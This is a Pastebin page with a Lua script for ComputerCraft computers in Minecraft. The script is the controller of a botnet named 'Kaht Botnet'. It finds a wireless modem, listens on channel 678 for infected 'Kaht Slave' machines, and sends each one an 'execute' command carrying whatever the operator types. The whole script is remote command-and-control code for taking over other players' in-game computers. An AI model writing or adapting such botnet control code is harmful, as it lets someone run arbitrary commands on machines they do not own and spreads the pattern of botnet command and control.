Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Sides = {"top", "bottom", "left", "right", "front", "back"}
- local Mod
- for i,v in pairs(Sides) do
- if peripheral.isPresent(v) then
- if peripheral.getType(v) == "modem" and peripheral.call(v, "isWireless") == true then
- Mod = peripheral.wrap(v)
- break
- end
- end
- end
- if not Mod then return end
- function execute(str)
- local time = os.startTimer(2.05)
- Mod.open(678)
- while true do
- local Event, Side, Channel, ID, Message, Distance = os.pullEvent()
- if Event == "timer" and Side == time then
- break
- elseif Event == "modem_message" and Channel == 678 and ID == 1 then
- local tab = textutils.unserialize(Message)
- if type(tab) == "table" and tab[1] == "Kaht Slave" then
- Mod.transmit(678, 0, textutils.serialize({"Kaht Botnet", tonumber(tab[2]) or 0, {"execute", str}}))
- end
- end
- end
- Mod.close(678)
- end
- while true do
- write("Execute: ")
- execute(read())
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement